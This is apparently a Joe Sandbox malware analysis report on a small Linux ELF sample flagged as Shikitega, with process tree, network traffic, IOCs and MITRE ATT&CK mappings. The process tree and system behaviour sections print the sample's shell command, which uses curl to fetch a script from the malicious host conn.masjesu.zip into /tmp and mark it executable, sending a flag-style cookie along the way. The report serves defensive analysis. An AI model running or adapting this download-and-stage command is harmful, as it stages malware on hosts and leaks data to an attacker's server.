Edit tour

Linux Analysis Report
secret_callback.elf

Overview

General Information

Sample name:	secret_callback.elf
Analysis ID:	1686590
Has dependencies:	false
MD5:	c4e59526ee249153efb3fe9f9afc0933
SHA1:	2392aeac2a203ce1c94124bb9a61e67e82a35f2c
SHA256:	dc8721efdf3cc1e6a275eea7d717930289eff30c49dba8ffd47711fb8d85fa2e
Tags:	elfuser-hadi
Infos:

Detection

Shikitega

Score:	56
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Yara detected Shikitega

Creates hidden files and/or directories

Executes commands using a shell command-line interpreter

Executes the "curl" command used to transfer data via the network (typically using HTTP/S)

Reads the 'hosts' file potentially containing internal network hosts

Sample contains only a LOAD segment without any section mappings

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1686590
Start date and time:	2025-05-10 08:13:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	secret_callback.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/1@2/0

Warnings

VT rate limit hit for: http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu

Runtime Messages

Command:	/tmp/secret_callback.elf
PID:	6243
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

secret_callback.elf (PID: 6243, Parent: 6165, MD5: c4e59526ee249153efb3fe9f9afc0933) Arguments: /tmp/secret_callback.elf

sh (PID: 6243, Parent: 6165, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "curl -s http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu -b 'result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D' -o /tmp/bins.sh 2>/dev/null && chmod +x /tmp/bins.sh"

sh New Fork (PID: 6244, Parent: 6243)

curl (PID: 6244, Parent: 6243, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: curl -s http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu -b result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D -o /tmp/bins.sh

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
secret_callback.elf	JoeSecurity_Shikitega	Yara detected Shikitega	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: secret_callback.elf	Virustotal: Detection: 21%			Perma Link
Source: secret_callback.elf	ReversingLabs: Detection: 25%

Source: /usr/bin/curl (PID: 6244)

Reads hosts file: /etc/hosts

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu HTTP/1.1Host: conn.masjesu.zipUser-Agent: curl/7.68.0Accept: */*Cookie: result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D

Source: global traffic

DNS traffic detected: DNS query: conn.masjesu.zip

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 10 May 2025 06:16:08 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: LOAD without section mappings

Program segment: 0x8048000

Source: classification engine

Classification label: mal56.troj.linELF@0/1@2/0

Source: /usr/bin/curl (PID: 6244)

Directory: /root/.curlrc

Jump to behavior

Source: /tmp/secret_callback.elf (PID: 6243)

Shell command executed: /bin/sh -c "curl -s http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu -b 'result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D' -o /tmp/bins.sh 2>/dev/null && chmod +x /tmp/bins.sh"

Jump to behavior

Source: /bin/sh (PID: 6244)

Curl executable: /usr/bin/curl -> curl -s http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu -b result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D -o /tmp/bins.sh

Jump to behavior

Source: /usr/bin/curl (PID: 6244)

Queries kernel information via 'uname':

Jump to behavior

Stealing of Sensitive Information

Yara detected Shikitega

Source: Yara match

File source: secret_callback.elf, type: SAMPLE

Remote Access Functionality

Yara detected Shikitega

Source: Yara match

File source: secret_callback.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
secret_callback.elf	22%	Virustotal		Browse
secret_callback.elf	26%	ReversingLabs	Linux.Trojan.Multiverze

Source	Detection	Scanner	Label	Link
http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
conn.masjesu.zip	163.5.159.12	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
94.26.90.14	unknown	Bulgaria	61317	ASDETUKhttpwwwheficedcomGB	false
163.5.159.12	conn.masjesu.zip	France	56339	EPITECHFR	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
109.202.202.202	na.elf	Get hash	malicious	Prometei	Browse
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	m68k.elf	Get hash	malicious	Gafgyt	Browse
	sh4.elf	Get hash	malicious	Gafgyt	Browse
91.189.91.43	na.elf	Get hash	malicious	Prometei	Browse
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	m68k.elf	Get hash	malicious	Gafgyt	Browse
	sh4.elf	Get hash	malicious	Gafgyt	Browse
91.189.91.42	na.elf	Get hash	malicious	Prometei	Browse
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	m68k.elf	Get hash	malicious	Gafgyt	Browse
	sh4.elf	Get hash	malicious	Gafgyt	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
conn.masjesu.zip	LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf	Get hash	malicious	Mirai	Browse	216.126.231.240
	Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elf	Get hash	malicious	Mirai	Browse	87.120.84.230
	xqnE9OFV4c95En0D7MDN4V1MMPIWrAHvms.elf	Get hash	malicious	Unknown	Browse	37.221.64.245
	iUeQQNFZ9vwOLXIBiZ4156FCf1nexMVYnW.elf	Get hash	malicious	Unknown	Browse	37.44.238.75
	9oHxcmR9GQ.elf	Get hash	malicious	Unknown	Browse	37.44.238.67
	FGMFTsT81P.elf	Get hash	malicious	Unknown	Browse	95.214.27.138
	yzBWO9nYig.elf	Get hash	malicious	Unknown	Browse	37.44.238.67
	DEDE73vYjt.elf	Get hash	malicious	Unknown	Browse	95.214.27.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	m68k.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
EPITECHFR	https://files.fm/f/wpd3hsuh55?share_email_id=15c922d&share_email_skip_notify=true	Get hash	malicious	Unknown	Browse	163.5.194.36
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	163.5.63.254
	https://solanadefimainnet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	163.5.194.36
	http://login-ourtime.members-datings.workers.dev/v3/aboutonlinedating	Get hash	malicious	HTMLPhisher	Browse	163.5.194.34
	https://sucursal-virtual123.w3spaces.com/	Get hash	malicious	Unknown	Browse	163.5.194.37
	400000.RegSvcs.exe	Get hash	malicious	XWorm	Browse	163.5.64.209
	conhost.exe	Get hash	malicious	Unknown	Browse	163.5.121.253
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	m68k.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
ASDETUKhttpwwwheficedcomGB	Shotstar.bat	Get hash	malicious	Remcos	Browse	196.251.66.111
	rZG87j3PBj.exe	Get hash	malicious	PureLog Stealer, RevengeRAT	Browse	196.251.66.118
	WinUpdater.exe	Get hash	malicious	BlackNET	Browse	94.26.90.79
	ez2winnontls.exe	Get hash	malicious	Xmrig	Browse	94.26.90.79
	ez2wintls.exe	Get hash	malicious	Xmrig	Browse	94.26.90.79
	tsuki.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	191.104.169.33
	VisualCode.exe	Get hash	malicious	AsyncRAT, LummaC Stealer, Njrat, Quasar, Vidar, XWorm	Browse	94.26.90.81
	250427-ryd2tassex.bin.exe	Get hash	malicious	Amadey, Credential Flusher, Healer AV Disabler, LummaC Stealer	Browse	94.26.90.80
	jklm68k.elf	Get hash	malicious	Unknown	Browse	191.108.164.173
	splarm.elf	Get hash	malicious	Unknown	Browse	191.104.159.0
INIT7CH	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	m68k.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	sh4.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202

Process:	/usr/bin/curl
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	153
Entropy (8bit):	4.528078370574827
Encrypted:	false
SSDEEP:	3:qVoB3tURObOb0qHXboAcMBXqWrKb0GklIVLLPpuwcWWGu:q43tIkObRHXiMIWObtklI5LPpupfGu
MD5:	998368D7C95EA4293237F2320546E440
SHA1:	30DFD2D3BB8A7E3241BD7792E90A98EBB70BE3A4
SHA-256:	533A1CA5D6595793725BCA7641D9461A0F00DD1732DDED3E4281196F5DD21736
SHA-512:	648C4720A85DBF834BE1BA00F0E1B4167CC670FE15896EFB00A77FB6E0C225A13AAE3DA10D85FA6E7F726420D9BB3C20C43466E02296D44153C127B7160E0B97
Malicious:	false
Reputation:	low
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.22.1</center>..</body>..</html>..

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
Entropy (8bit):	6.57720793169131
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	secret_callback.elf
File size:	314 bytes
MD5:	c4e59526ee249153efb3fe9f9afc0933
SHA1:	2392aeac2a203ce1c94124bb9a61e67e82a35f2c
SHA256:	dc8721efdf3cc1e6a275eea7d717930289eff30c49dba8ffd47711fb8d85fa2e
SHA512:	37fde58c6247cb4bef5f6956b42dfc2679a44f0a18d5743725a75a4aa335379205757490706b5f6ef8c3b626fcfe00ab6b4d33c1f21e21e4762c3ffcd4b1bb21
SSDEEP:	6:Btk/tMl//EEldoH4ABeW14HwONUq2J4ordMoL3AGGD0REBhddwY1LAganDXqv6BL:BnlXEElbABeAK9Gq2JxrGoKBhdqYLAfD
TLSH:	23E0E700414CC64FE1455D7F3000275F33814274FE713547503043544B4D80C1D115C7
File Content Preview:	.ELF....................T...4...........4. .........................:... ............A.{....t$.]3..31U.....U....p....9..d^.$..dS.k.......O..(%m....F..p..HW....t.ef.+.......L*.".....N..@...?....bRm.&..6....c&.a...L.=..ZN.l..<.x...8..B..JPU[^........uN.?>w%

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048054
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	1
Section Header Offset:	0
Section Header Size:	0
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x13a	0x220	6.5772	0x7	RWE	0x1000

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2025 08:13:57.228791952 CEST	59968	80	192.168.2.23	163.5.159.12
May 10, 2025 08:13:58.253626108 CEST	59968	80	192.168.2.23	163.5.159.12
May 10, 2025 08:13:58.861725092 CEST	42836	443	192.168.2.23	91.189.91.43
May 10, 2025 08:13:59.629465103 CEST	42516	80	192.168.2.23	109.202.202.202
May 10, 2025 08:14:00.269377947 CEST	59968	80	192.168.2.23	163.5.159.12
May 10, 2025 08:14:04.492909908 CEST	59968	80	192.168.2.23	163.5.159.12
May 10, 2025 08:14:12.683804035 CEST	59968	80	192.168.2.23	163.5.159.12
May 10, 2025 08:14:14.987476110 CEST	43928	443	192.168.2.23	91.189.91.42
May 10, 2025 08:14:25.226001978 CEST	42836	443	192.168.2.23	91.189.91.43
May 10, 2025 08:14:28.809494972 CEST	59968	80	192.168.2.23	163.5.159.12
May 10, 2025 08:14:29.321645975 CEST	42516	80	192.168.2.23	109.202.202.202
May 10, 2025 08:14:55.941847086 CEST	43928	443	192.168.2.23	91.189.91.42
May 10, 2025 08:15:02.084985971 CEST	59968	80	192.168.2.23	163.5.159.12
May 10, 2025 08:16:07.614203930 CEST	35518	80	192.168.2.23	94.26.90.14
May 10, 2025 08:16:07.943572044 CEST	80	35518	94.26.90.14	192.168.2.23
May 10, 2025 08:16:07.943926096 CEST	35518	80	192.168.2.23	94.26.90.14
May 10, 2025 08:16:07.944103003 CEST	35518	80	192.168.2.23	94.26.90.14
May 10, 2025 08:16:08.273507118 CEST	80	35518	94.26.90.14	192.168.2.23
May 10, 2025 08:16:08.273822069 CEST	80	35518	94.26.90.14	192.168.2.23
May 10, 2025 08:16:08.274183989 CEST	35518	80	192.168.2.23	94.26.90.14
May 10, 2025 08:16:08.280874968 CEST	35518	80	192.168.2.23	94.26.90.14
May 10, 2025 08:16:08.611159086 CEST	80	35518	94.26.90.14	192.168.2.23
May 10, 2025 08:16:08.611552954 CEST	35518	80	192.168.2.23	94.26.90.14

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2025 08:13:56.900296926 CEST	40200	53	192.168.2.23	1.1.1.1
May 10, 2025 08:13:56.900453091 CEST	52152	53	192.168.2.23	1.1.1.1
May 10, 2025 08:13:57.219717026 CEST	53	40200	1.1.1.1	192.168.2.23
May 10, 2025 08:13:57.219779968 CEST	53	52152	1.1.1.1	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 10, 2025 08:13:56.900296926 CEST	192.168.2.23	1.1.1.1	0x57e6	Standard query (0)	conn.masjesu.zip	A (IP address)	IN (0x0001)	false
May 10, 2025 08:13:56.900453091 CEST	192.168.2.23	1.1.1.1	0x8dca	Standard query (0)	conn.masjesu.zip	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 10, 2025 08:13:57.219717026 CEST	1.1.1.1	192.168.2.23	0x57e6	No error (0)	conn.masjesu.zip		163.5.159.12	A (IP address)	IN (0x0001)	false
May 10, 2025 08:13:57.219717026 CEST	1.1.1.1	192.168.2.23	0x57e6	No error (0)	conn.masjesu.zip		94.26.90.14	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

conn.masjesu.zip

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	35518	94.26.90.14	80

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:16:07.944103003 CEST	178	OUT	GET /bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu HTTP/1.1 Host: conn.masjesu.zip User-Agent: curl/7.68.0 Accept: / Cookie: result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D
May 10, 2025 08:16:08.273822069 CEST	329	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 10 May 2025 06:16:08 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>

System Behavior

Analysis Process: secret_callback.elf PID: 6243, Parent PID: 6165

General

Start time (UTC):	06:13:55
Start date (UTC):	10/05/2025
Path:	/tmp/secret_callback.elf
Arguments:	/tmp/secret_callback.elf
File size:	314 bytes
MD5 hash:	c4e59526ee249153efb3fe9f9afc0933

Start time (UTC):	06:13:55
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "curl -s http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu -b 'result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D' -o /tmp/bins.sh 2>/dev/null && chmod +x /tmp/bins.sh"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	06:13:55
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	06:13:55
Start date (UTC):	10/05/2025
Path:	/usr/bin/curl
Arguments:	curl -s http://conn.masjesu.zip/bins/ah3GCHQFBLXrnPxmcuw3C5mVztXIAcFayu -b result=flag%7BV3RY_S3CR3T_C4LLB4CK%7D -o /tmp/bins.sh
File size:	239848 bytes
MD5 hash:	add6bc2195e82c55985ccf49fd4048e6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report secret_callback.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/bins.sh

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: secret_callback.elf PID: 6243, Parent PID: 6165

General

Chronological Activities

Analysis Process: sh PID: 6243, Parent PID: 6165

General

Chronological Activities

Analysis Process: sh PID: 6244, Parent PID: 6243

General

Chronological Activities

Analysis Process: curl PID: 6244, Parent PID: 6243

General

Chronological Activities

Linux Analysis Report
secret_callback.elf